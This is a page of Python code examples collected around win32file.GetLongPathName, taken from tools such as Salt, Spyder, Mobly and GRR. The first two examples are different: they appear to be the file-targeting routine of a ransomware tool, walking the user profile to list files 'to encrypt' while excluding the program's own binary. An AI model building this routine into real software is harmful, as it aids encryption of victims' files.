Пример #1
0
    def find_files(self):
        '''
    @summary: Searches the file system and builds a list of files to encrypt
    @return: List of files matching the location and filetype criteria
    '''
        binary_name = os.path.split(sys.argv[0])[1]

        base_dirs = self.get_base_dirs(os.environ['USERPROFILE'],
                                       self.__config)
        file_list = []

        for directory in base_dirs:
            for path, subdirs, files in os.walk(directory):
                for file in files:
                    if os.path.isfile(os.path.join(path, file)):
                        # Check file is valid
                        if ((self.is_valid_filetype(file))
                                and (file.lower() not in self.FILES_TO_EXCLUDE)
                                and (file.lower() != binary_name.lower()) and
                            (not os.path.join(path, file).lower().startswith(
                                win32file.GetLongPathName(
                                    sys._MEIPASS).lower()))):
                            file_list.append(os.path.join(path, file))
                for file in subdirs:
                    if os.path.isfile(os.path.join(path, file)):
                        # Check file is valid
                        if ((self.is_valid_filetype(file))
                                and (file.lower() not in self.FILES_TO_EXCLUDE)
                                and (file.lower() != binary_name.lower()) and
                            (not os.path.join(path, file).lower().startswith(
                                win32file.GetLongPathName(
                                    sys._MEIPASS).lower()))):
                            file_list.append(os.path.join(path, file))

        return file_list
Пример #2
0
    def find_files(self):
        '''
        @summary: Searches the file system and builds a list of files to encrypt
        @return: List of files matching the location and filetype criteria
        '''
        binary_name = os.path.split(sys.argv[0])[1]

        # Get Current Working Directory
        try:
            cwd = sys._MEIPASS
        except AttributeError:
            cwd = os.path.dirname(os.getcwd())

        base_dirs = self.get_base_dirs(os.environ['USERPROFILE'],
                                       self.__config)
        file_list = []

        for directory in base_dirs:
            print("Checking: %s" % directory)
            for path, subdirs, files in os.walk(directory):
                for file in files:
                    if os.path.isfile(os.path.join(path, file)):
                        # Check file is valid
                        try:
                            if ((self.is_valid_filetype(file))
                                    and (not self.is_excluded_file(file))
                                    and (not self.is_excluded_dir(path))
                                    and (file.lower() != binary_name.lower())
                                    and
                                (not os.path.join(
                                    path, file).lower().startswith(
                                        win32file.GetLongPathName(cwd).lower())
                                 )):
                                file_list.append(os.path.join(path, file))
                        except Exception:
                            # Skip any files with strange chars not within our encoding
                            pass
                for file in subdirs:
                    if os.path.isfile(os.path.join(path, file)):
                        # Check file is valid
                        try:
                            if ((self.is_valid_filetype(file))
                                    and (not self.is_excluded_file(file))
                                    and (not self.is_excluded_dir(path))
                                    and (file.lower() != binary_name.lower())
                                    and
                                (not os.path.join(
                                    path, file).lower().startswith(
                                        win32file.GetLongPathName(cwd).lower())
                                 )):
                                file_list.append(os.path.join(path, file))
                        except Exception:
                            # Skip any files with strange chars not within our encoding
                            pass

        return file_list
Пример #3
0
    def download_torrent_file_u(title_download_url_u):
        """download torrent file"""
        (title_u, download_url_u) = title_download_url_u

        referer_url_u = "http://%s" % urllib2.urlparse.urlsplit(download_url_u).hostname
        request = urllib2.Request(download_url_u)
        request.add_header("Referer", referer_url_u)

        filename_u = '%s.torrent' % (title_u)
        temp_dir = tempfile.gettempdir()
        long_path_temp_dir_u = win32file.GetLongPathName(temp_dir)
        url_filename_utf8 = TorrentStraw.pathname_to_url_utf8(filename_u)
        write_file_path_u = os.path.join(long_path_temp_dir_u, url_filename_utf8)

        if os.path.isfile(write_file_path_u):
            print 'Already exist file.(%s)' % (write_file_path_u)
            return

        try:
            with open(write_file_path_u, "wb") as file_handle:
                file_handle.write(urllib2.urlopen(request).read())
        except IOError:
            print 'Could not save file.(%s)' % (write_file_path_u)
            return

        pathname_to_url_utf8 = TorrentStraw.pathname_to_url_utf8(long_path_temp_dir_u)
        url_path_utf8 = urllib2.urlparse.urlunparse(
            urllib2.urlparse.urlparse(pathname_to_url_utf8)._replace(scheme='file'))
        url_file_path_utf8 = urllib2.urlparse.urljoin(url_path_utf8 + '/', url_filename_utf8)

        return StrConvert.to_unicode(url_file_path_utf8)
Пример #4
0
def extract(filename):
    """ Extract a ZIP archive to a temporary directory

    Parameters:
        filename    filename of the ZIP archive

    Returns:
        unzipdir    the path to the directory that contains the extracted files
    """

    from tempfile import mkdtemp
    import zipfile

    unzipdir = mkdtemp()

    # expand the 8.3 paths on windows
    if sys.platform.startswith('win'):
        import win32file
        unzipdir = win32file.GetLongPathName(unzipdir)

    # extract the archive
    with zipfile.ZipFile(filename, 'r') as zf:
        zf.extractall(unzipdir)

    return unzipdir
Пример #5
0
 def temp_dir(self, prefix):
     # os.path.realpath resolves any symlinks in path. Necessary for macOS
     # where /var is a symlink to /private/var
     p = os.path.realpath(tempfile.mkdtemp(prefix))
     if os.name == "nt":
         # Under windows, get rid of any ~1 in path (short path)
         p = str(win32file.GetLongPathName(p))
     return p
Пример #6
0
def readlink(path):
    '''
    Equivalent to os.readlink()
    '''
    if six.PY3 or not salt.utils.platform.is_windows():
        return os.readlink(path)

    if not HAS_WIN32FILE:
        log.error('Cannot read %s, missing required modules', path)

    reparse_data = _get_reparse_data(path)

    if not reparse_data:
        # Reproduce *NIX behavior when os.readlink is performed on a path that
        # is not a symbolic link.
        raise OSError(errno.EINVAL, 'Invalid argument: \'{0}\''.format(path))

    # REPARSE_DATA_BUFFER structure - see
    # http://msdn.microsoft.com/en-us/library/ff552012.aspx

    # parse the structure header to work out which type of reparse point this is
    header_parser = struct.Struct('L')
    ReparseTag, = header_parser.unpack(reparse_data[:header_parser.size])
    # http://msdn.microsoft.com/en-us/library/windows/desktop/aa365511.aspx
    if not ReparseTag & 0xA000FFFF == 0xA000000C:
        raise OSError(
            errno.EINVAL,
            '{0} is not a symlink, but another type of reparse point '
            '(0x{0:X}).'.format(ReparseTag))

    # parse as a symlink reparse point structure (the structure for other
    # reparse points is different)
    data_parser = struct.Struct('LHHHHHHL')
    ReparseTag, ReparseDataLength, Reserved, SubstituteNameOffset, \
    SubstituteNameLength, PrintNameOffset, \
    PrintNameLength, Flags = data_parser.unpack(reparse_data[:data_parser.size])

    path_buffer_offset = data_parser.size
    absolute_substitute_name_offset = path_buffer_offset + SubstituteNameOffset
    target_bytes = reparse_data[
        absolute_substitute_name_offset:absolute_substitute_name_offset +
        SubstituteNameLength]
    target = target_bytes.decode('UTF-16')

    if target.startswith('\\??\\'):
        target = target[4:]

    try:
        # comes out in 8.3 form; convert it to LFN to make it look nicer
        target = win32file.GetLongPathName(target)
    except pywinerror as exc:
        # if file is not found (i.e. bad symlink), return it anyway like on *nix
        if exc.winerror == 2:
            return target
        raise

    return target
Пример #7
0
 def test_shortcut(self):
     """Verifies the shortcut is created and links properly."""
     shortcut_path = os.path.join(self.log_dir, self.testbed_name,
                                  'latest.lnk')
     shell = client.Dispatch("WScript.Shell")
     shortcut = shell.CreateShortCut(shortcut_path)
     self.assertFalse(shortcut.Targetpath)
     mock_test_config = self.create_mock_test_config(
         self.base_mock_test_config)
     tr = test_runner.TestRunner(self.log_dir, self.testbed_name)
     with tr.mobly_logger():
         pass
     shortcut = shell.CreateShortCut(shortcut_path)
     # Normalize paths for case and truncation
     normalized_shortcut_path = os.path.normcase(
         win32file.GetLongPathName(shortcut.Targetpath))
     normalized_logger_path = os.path.normcase(
         win32file.GetLongPathName(logging.log_path))
     self.assertEqual(normalized_shortcut_path, normalized_logger_path)
Пример #8
0
 def _expand_win_path(self, path):
     """
     Expand C:/users/admini~1/appdata/local/temp/salt-tests-tmpdir/...
     into C:/users/adminitrator/appdata/local/temp/salt-tests-tmpdir/...
     to prevent file.search from expanding the "~" with os.path.expanduser
     """
     if salt.utils.platform.is_windows():
         import win32file
         return win32file.GetLongPathName(path).replace('\\', '/')
     else:
         return path
Пример #9
0
def extract(filename):
    """ Extract a ZIP file to a temporary directory """

    unzipdir = mkdtemp()

    # expand the 8.3 paths on windows
    if sys.platform.startswith('win'):
        import win32file
        unzipdir = win32file.GetLongPathName(unzipdir)

    with zipfile.ZipFile(filename, 'r') as fmufile:
        fmufile.extractall(unzipdir)

    return unzipdir
Пример #10
0
def test_project_explorer_tree_root(projects, tmpdir, qtbot):
    """
    Test that the root item of the project explorer tree widget is set
    correctly when switching projects.

    Regression test for Issue #8455
    """
    qtbot.addWidget(projects.explorer)
    projects.show_explorer()

    ppath1 = to_text_string(tmpdir.mkdir(u'測試'))
    ppath2 = to_text_string(tmpdir.mkdir(u'ïèô éàñ').mkdir(u'اختبار'))
    if os.name == 'nt':
        # For an explanation of why this part is necessary to make this test
        # pass for Python2 in Windows, see PR #8528.
        import win32file
        ppath1 = win32file.GetLongPathName(ppath1)
        ppath2 = win32file.GetLongPathName(ppath2)

    # Open the projects.
    for ppath in [ppath1, ppath2]:
        projects.open_project(path=ppath)
        projects.update_explorer()

        # Check that the root path of the project explorer tree widget is
        # set correctly.
        assert projects.get_active_project_path() == ppath
        assert projects.explorer.treewidget.root_path == osp.dirname(ppath)
        assert (
            projects.explorer.treewidget.rootIndex().data() == osp.basename(
                osp.dirname(ppath)))

        # Check that the first visible item in the project explorer
        # tree widget is the folder of the project.
        topleft_index = (projects.explorer.treewidget.indexAt(
            projects.explorer.treewidget.rect().topLeft()))
        assert topleft_index.data() == osp.basename(ppath)
Пример #11
0
def GetRawDevice(path):
    """Resolves the raw device that contains the path.

  Args:
    path: A path to examine.

  Returns:
    A pathspec to read the raw device as well as the modified path to read
    within the raw device. This is usually the path without the mount point.

  Raises:
    IOError: if the path does not exist or some unexpected behaviour occurs.
  """
    path = CanonicalPathToLocalPath(path)
    # Try to expand the shortened paths
    try:
        path = win32file.GetLongPathName(path)
    except pywintypes.error:
        pass

    try:
        mount_point = win32file.GetVolumePathName(path)
    except pywintypes.error as details:
        logging.info("path not found. %s", details)
        raise IOError("No mountpoint for path: %s", path)

    if not path.startswith(mount_point):
        stripped_mp = mount_point.rstrip("\\")
        if not path.startswith(stripped_mp):
            raise IOError("path %s is not mounted under %s" %
                          (path, mount_point))

    corrected_path = LocalPathToCanonicalPath(path[len(mount_point):])
    corrected_path = utils.NormalizePath(corrected_path)

    volume = win32file.GetVolumeNameForVolumeMountPoint(mount_point).rstrip(
        "\\")
    volume = LocalPathToCanonicalPath(volume)

    # The pathspec for the raw volume
    result = rdf_paths.PathSpec(path=volume,
                                pathtype=rdf_paths.PathSpec.PathType.OS,
                                mount_point=mount_point.rstrip("\\"))

    return result, corrected_path
Пример #12
0
def extract(filename, unzipdir=None, include=None):
    """ Extract a ZIP archive to a temporary directory

    Parameters:
        filename    filename of the ZIP archive
        unzipdir    target directory (None: create temporary directory)
        include     a filter function to select the files to extract
    Returns:
        unzipdir    path to the directory that contains the extracted files
    """

    from tempfile import mkdtemp
    import zipfile

    if unzipdir is None:
        unzipdir = mkdtemp()

    # expand the 8.3 paths on windows
    if sys.platform.startswith('win') and '~' in unzipdir:
        import win32file
        from contextlib import suppress
        with suppress(Exception):
            unzipdir = win32file.GetLongPathName(unzipdir)

    with zipfile.ZipFile(filename, 'r') as zf:

        # check filenames
        for name in zf.namelist():

            if '\\' in name:
                raise Exception(
                    "Illegal path %s found in %s. All slashes must be forward slashes."
                    % (name, filename))

            if ':' in name or name.startswith('/'):
                raise Exception(
                    "Illegal path %s found in %s. The path must not contain a drive or device letter, or a leading slash."
                    % (name, filename))

        members = filter(include, zf.namelist()) if include else None

        # extract the archive
        zf.extractall(unzipdir, members=members)

    return unzipdir
Пример #13
0
    def find_and_remove_leftover_folders(self, hint_filenames):
        if not hasattr(sys, "frozen"):
            return

        import win32file  # type: ignore[import] # pylint: disable=import-error
        import tempfile
        base_path = tempfile.gettempdir()
        for f in os.listdir(base_path):
            try:
                path = os.path.join(base_path, f)

                if not os.path.isdir(path):
                    continue

                # Only care about directories related to our program
                invalid_dir = False
                for hint_filename in hint_filenames:
                    if not os.path.exists(os.path.join(path, hint_filename)):
                        invalid_dir = True
                        break
                if invalid_dir:
                    continue

                pyinstaller_tmp_path = win32file.GetLongPathName(
                    sys._MEIPASS).lower()  # type: ignore[attr-defined]
                if pyinstaller_tmp_path == path.lower():
                    continue  # Skip our own directory

                # Extract the process id from the directory and check whether or not it is still
                # running. Don't delete directories of running processes!
                # The name of the temporary directories is "_MEI<PID><NR>". We try to extract the PID
                # by stripping of a single digit from the right. In the hope the NR is a single digit
                # in all relevant cases.
                pid = int(f[4:-1])
                if self.pid_running(pid):
                    continue

                shutil.rmtree(path)
            except Exception as e:
                LOGGER.debug(
                    "Finding and removing leftover folders failed: %s", e)
Пример #14
0
    def get_plugin_state(self):
        # Retrieve values from the plugin metadata file
        cfg = configparser.SafeConfigParser()
        cfg.read(os.path.join(pluginPath, 'metadata.txt'))
        version = cfg.get('general', 'version')

        """TODO: Make the paths clickable links to open folder
        def create_path_link(path):
            path = os.path.normpath(path)
            #"<a href={}>Open Project Folder</a>".format("`C:/Progra~1/needed"`)
            return '<a href= file:///"`{0}"`>{0}</a>'.format(path)
        """

        self.pteVersions.setText( 'QGIS Environment:')

        self.pteVersions.append('    {:20}\t{}'.format('QGIS :', qgis.utils.QGis.QGIS_VERSION))
        if platform.system() == 'Windows':
            import win32file
            self.pteVersions.append('    {:20}\t{}'.format('Install Path : ',
                                                           win32file.GetLongPathName(qgis.core.QgsApplication.prefixPath())))
        else:
            self.pteVersions.append('    {:20}\t{}'.format('Install Path : ', qgis.core.QgsApplication.prefixPath()))

        self.pteVersions.append('    {:20}\t{}'.format('Plugin Dir:',  os.path.normpath(PLUGIN_DIR)))
        self.pteVersions.append('    {:20}\t{}'.format('Temp Folder:',  os.path.normpath(TEMPDIR)))

        self.pteVersions.append('    {:20}\t{}'.format('Python :',  sys.version))
        self.pteVersions.append('    {:20}\t{}'.format('GDAL :', os.environ.get('GDAL_VERSION', None)))


        self.pteVersions.append('\nPAT Version:')
        self.pteVersions.append('    {:20}\t{}'.format('PAT:', version))
        self.pteVersions.append('    {:20}\t{}'.format('pyPrecAg:', get_distribution('pyprecag').version))
        self.pteVersions.append('    {:20}\t{}'.format('Geopandas:', get_distribution('geopandas').version))
        self.pteVersions.append('    {:20}\t{}'.format('Rasterio:',  get_distribution('rasterio').version))
        self.pteVersions.append('    {:20}\t{}'.format('Fiona:',  get_distribution('fiona').version))
        self.pteVersions.append('    {:20}\t{}'.format('Pandas:', get_distribution('pandas').version))

        self.pteVersions.append('\nR Configuration')
        self.pteVersions.append('    {:20}\t{}'.format('R Active :', read_setting('Processing/Configuration/ACTIVATE_R')))
        self.pteVersions.append('    {:20}\t{}'.format('R Install Folder :', read_setting('Processing/Configuration/R_FOLDER')))
Пример #15
0
 def windows_path():
     import win32file
     return win32file.GetLongPathName(tempfile.gettempdir())
Пример #16
0
def readlink(path):
    '''
    Return the path that a symlink points to

    This is only supported on Windows Vista or later.

    Inline with *nix behaviour, this function will raise an error if the path is
    not a symlink, however, the error raised will be a SaltInvocationError, not
    an OSError.

    CLI Example:

    .. code-block:: bash

        salt '*' file.readlink /path/to/link
    '''
    if sys.getwindowsversion().major < 6:
        raise SaltInvocationError(
            'Symlinks are only supported on Windows Vista or later.')

    if not os.path.isabs(path):
        raise SaltInvocationError('Path to link must be absolute.')

    # ensure paths are using the right slashes
    path = os.path.normpath(path)

    if not _islink(path):
        raise SaltInvocationError('The path specified is not a symlink.')

    fileHandle = None
    try:
        fileHandle = win32file.CreateFileW(
            path,
            0x80000000,  # GENERIC_READ
            0,  # no sharing
            None,  # no inherit, default security descriptor
            3,  # OPEN_EXISTING
            0x00200000 |
            0x02000000  # FILE_FLAG_OPEN_REPARSE_POINT | FILE_FLAG_BACKUP_SEMANTICS
        )

        reparseData = win32file.DeviceIoControl(
            fileHandle,
            0x900a8,  # FSCTL_GET_REPARSE_POINT
            None,  # in buffer
            16384  # out buffer size (MAXIMUM_REPARSE_DATA_BUFFER_SIZE)
        )

    finally:
        if fileHandle:
            win32file.CloseHandle(fileHandle)

    # REPARSE_DATA_BUFFER structure - see
    # http://msdn.microsoft.com/en-us/library/ff552012.aspx

    # parse the structure header to work out which type of reparse point this is
    header_parser = struct.Struct('L')
    ReparseTag, = header_parser.unpack(reparseData[:header_parser.size])
    # http://msdn.microsoft.com/en-us/library/windows/desktop/aa365511.aspx
    if not ReparseTag & 0x0000FFFF == 0x0000000C:
        raise SaltInvocationError(
            'The path specified is not a symlink, but another type of reparse point ({0:x}).'
            .format(ReparseTag))

    # parse as a symlink reparse point structure (the structure for other
    # reparse points is different)
    data_parser = struct.Struct('LHHHHHHL')
    ReparseTag, ReparseDataLength, Reserved, SubstituteNameOffset, \
    SubstituteNameLength, PrintNameOffset, \
    PrintNameLength, Flags = data_parser.unpack(reparseData[:data_parser.size])

    path_buffer_offset = data_parser.size
    absolute_substitute_name_offset = path_buffer_offset + SubstituteNameOffset
    target_bytes = reparseData[
        absolute_substitute_name_offset:absolute_substitute_name_offset +
        SubstituteNameLength]
    target = target_bytes.decode('UTF-16')

    if target.startswith('\\??\\'):
        target = target[4:]
    # comes out in 8.3 form; convert it to LFN to make it look nicer
    target = win32file.GetLongPathName(target)

    return target
Пример #17
0
def run_model(filename, modelfile):
    '''
    Run the model file
    '''
    #Convert truncated file names, containing a "~1" into the full path
    if os.name == 'nt':
        import win32file
        modelfile = win32file.GetLongPathName(modelfile)

    mname = os.path.dirname(modelfile)
    sys.path.append(mname)
    log.info("Importing the model from %s ", modelfile)
    mm = importlib.import_module(os.path.basename(modelfile).split('.')[0])
    log.info("Importing the model %s",
             os.path.basename(modelfile).split('.')[0])
    run_model = getattr(mm, 'run_model')
    log.info("Model is imported.")
    res, instances = run_model(filename)
    for rs in res:
        #check solver status and termination conditions
        # and raise an error due to the termination and status code
        if (rs.solver.status == SolverStatus.unknown):
            raise HydraPluginError('Unknow error,(an uninitialized value)')
        elif (rs.solver.status != SolverStatus.warning):
            log.info("Solver status warnning")
        elif (rs.solver.status == SolverStatus.aborted):
            raise HydraPluginError(
                'Terminated due to external conditions (e.g. interrupts)')
        elif (rs.solver.status == SolverStatus.error):
            raise HydraPluginError('Terminated internally with error')
        if rs.solver.termination_condition == TerminationCondition.unknown:
            raise HydraPluginError(
                'solver termination with unknow error, this may indicate that the problem is infeasible'
            )
        elif rs.solver.termination_condition == TerminationCondition.maxTimeLimit:
            raise HydraPluginError('Exceeded maximum time limit allowed ')
        elif rs.solver.termination_condition == TerminationCondition.maxIterations:
            raise HydraPluginError(
                'Exceeded maximum number of iterations allowed ')
        elif rs.solver.termination_condition == TerminationCondition.minFunctionValue:
            raise HydraPluginError(
                'Found solution smaller than specified function value')
        elif rs.solver.termination_condition == TerminationCondition.minStepLength:
            raise HydraPluginError(
                'Step length is smaller than specified limit')
        elif rs.solver.termination_condition == TerminationCondition.maxEvaluations:
            raise HydraPluginError(
                'Exceeded maximum number of problem evaluations (e.g., branch and bound nodes'
            )
        elif rs.solver.termination_condition == TerminationCondition.other:
            raise HydraPluginError(' uncategorized normal termination')
        elif rs.solver.termination_condition == TerminationCondition.unbounded:
            raise HydraPluginError('Demonstrated that problem is unbounded')
        elif rs.solver.termination_condition == TerminationCondition.infeasible:
            raise HydraPluginError('Demonstrated that problem is infeasible')
        elif rs.solver.termination_condition == TerminationCondition.invalidProblem:
            raise HydraPluginError(
                'The problem setup or characteristics are not valid for the solver'
            )
        elif rs.solver.termination_condition == TerminationCondition.solverFailure:
            raise HydraPluginError('Solver failed to terminate correctly')
        elif rs.solver.termination_condition == TerminationCondition.internalSolverError:
            raise HydraPluginError('Internal solver error')
        elif rs.solver.termination_condition == TerminationCondition.error:
            raise HydraPluginError('Other error')
        elif rs.solver.termination_condition == TerminationCondition.userInterrupt:
            raise HydraPluginError('Interrupt signal generated by user')
        elif rs.solver.termination_condition == TerminationCondition.resourceInterrupt:
            raise HydraPluginError(
                'Interrupt signal in resources used by the solver')
        #elif rs.solver.termination_condition==TerminationCondition.licensingProblem:
        #raise HydraPluginError('Problem accessing solver license')

    log.info("Model is running.")
    units = get_units(modelfile)
    return analyse_results(res, instances, units)
Пример #18
0
def readlink(path):
    """
    Equivalent to os.readlink()
    """
    if six.PY3 or not salt.utils.platform.is_windows():
        return os.readlink(path)

    if not HAS_WIN32FILE:
        log.error("Cannot read %s, missing required modules", path)

    reparse_data = _get_reparse_data(path)

    if not reparse_data:
        # Reproduce *NIX behavior when os.readlink is performed on a path that
        # is not a symbolic link.
        raise OSError(errno.EINVAL, "Invalid argument: '{0}'".format(path))

    # REPARSE_DATA_BUFFER structure - see
    # http://msdn.microsoft.com/en-us/library/ff552012.aspx

    # parse the structure header to work out which type of reparse point this is
    header_parser = struct.Struct("L")
    (ReparseTag, ) = header_parser.unpack(reparse_data[:header_parser.size])
    # http://msdn.microsoft.com/en-us/library/windows/desktop/aa365511.aspx
    if not ReparseTag & 0xA000FFFF == 0xA000000C:
        raise OSError(
            errno.EINVAL,
            "{0} is not a symlink, but another type of reparse point "
            "(0x{0:X}).".format(ReparseTag),
        )

    # parse as a symlink reparse point structure (the structure for other
    # reparse points is different)
    data_parser = struct.Struct("LHHHHHHL")
    (
        ReparseTag,
        ReparseDataLength,
        Reserved,
        SubstituteNameOffset,
        SubstituteNameLength,
        PrintNameOffset,
        PrintNameLength,
        Flags,
    ) = data_parser.unpack(reparse_data[:data_parser.size])

    path_buffer_offset = data_parser.size
    absolute_substitute_name_offset = path_buffer_offset + SubstituteNameOffset
    target_bytes = reparse_data[
        absolute_substitute_name_offset:absolute_substitute_name_offset +
        SubstituteNameLength]
    target = target_bytes.decode("UTF-16")

    if target.startswith("\\??\\"):
        target = target[4:]

    try:
        # comes out in 8.3 form; convert it to LFN to make it look nicer
        target = win32file.GetLongPathName(target)
    except pywinerror as exc:
        # If target is on a UNC share, the decoded target will be in the format
        # "UNC\hostanme\sharename\additional\subdirs\under\share". So, in
        # these cases, return the target path in the proper UNC path format.
        if target.startswith("UNC\\"):
            return re.sub(r"^UNC\\+", r"\\\\", target)
        # if file is not found (i.e. bad symlink), return it anyway like on *nix
        if exc.winerror == 2:
            return target
        raise

    return target
Пример #19
0
def readlink(path):
    '''
    Return the path that a symlink points to

    This is only supported on Windows Vista or later.

    Inline with Unix behavior, this function will raise an error if the path is
    not a symlink, however, the error raised will be a SaltInvocationError, not
    an OSError.

    CLI Example:

    .. code-block:: bash

        salt '*' file.readlink /path/to/link
    '''
    if sys.getwindowsversion().major < 6:
        raise SaltInvocationError('Symlinks are only supported on Windows Vista or later.')

    if not os.path.isabs(path):
        raise SaltInvocationError('Path to link must be absolute.')

    reparse_data = _get_reparse_data(path)

    if not reparse_data:
        raise SaltInvocationError('The path specified is not a reparse point (symlinks are a type of reparse point).')

    # REPARSE_DATA_BUFFER structure - see
    # http://msdn.microsoft.com/en-us/library/ff552012.aspx

    # parse the structure header to work out which type of reparse point this is
    header_parser = struct.Struct('L')
    ReparseTag, = header_parser.unpack(reparse_data[:header_parser.size])
    # http://msdn.microsoft.com/en-us/library/windows/desktop/aa365511.aspx
    if not ReparseTag & 0xA000FFFF == 0xA000000C:
        raise SaltInvocationError('The path specified is not a symlink, but another type of reparse point (0x{0:X}).'.format(ReparseTag))

    # parse as a symlink reparse point structure (the structure for other
    # reparse points is different)
    data_parser = struct.Struct('LHHHHHHL')
    ReparseTag, ReparseDataLength, Reserved, SubstituteNameOffset, \
    SubstituteNameLength, PrintNameOffset, \
    PrintNameLength, Flags = data_parser.unpack(reparse_data[:data_parser.size])

    path_buffer_offset = data_parser.size
    absolute_substitute_name_offset = path_buffer_offset + SubstituteNameOffset
    target_bytes = reparse_data[absolute_substitute_name_offset:absolute_substitute_name_offset+SubstituteNameLength]
    target = target_bytes.decode('UTF-16')

    if target.startswith('\\??\\'):
        target = target[4:]

    try:
        # comes out in 8.3 form; convert it to LFN to make it look nicer
        target = win32file.GetLongPathName(target)
    except pywinerror as exc:
        # if file is not found (i.e. bad symlink), return it anyway like on *nix
        if exc.winerror == 2:
            return target
        raise

    return target
Пример #20
0
from ffmpeg_base import *
import math, win32file

input_file = 'NONE'
path = ''
tmp_path = os.environ['TMP'] + os.sep + 'LA_EDIT_TMP.txt'
tmp_list = open(tmp_path, 'w+')
print tmp_path
tmp_path = win32file.GetLongPathName(tmp_path)
print tmp_path

while input_file != '':
    input_file = raw_input('Add video to EDIT : ')
    if input_file == '':
        break
    path = os.path.dirname(input_file)
    input_file = input_file.replace('\\', '/')
    tmp_list.write('file ' + input_file + '\n')
tmp_list.close()

cmd = ffmpeg + ' -y'
cmd += ' -f concat -safe 0'
cmd += ' -i %s' % tmp_path
cmd += ' -c copy'
cmd += ' %s' % (path + os.sep + 'EDIT.mp4')
# cmd = cmd.replace('\\', '/')
print cmd
la_utils.runCmd(cmd)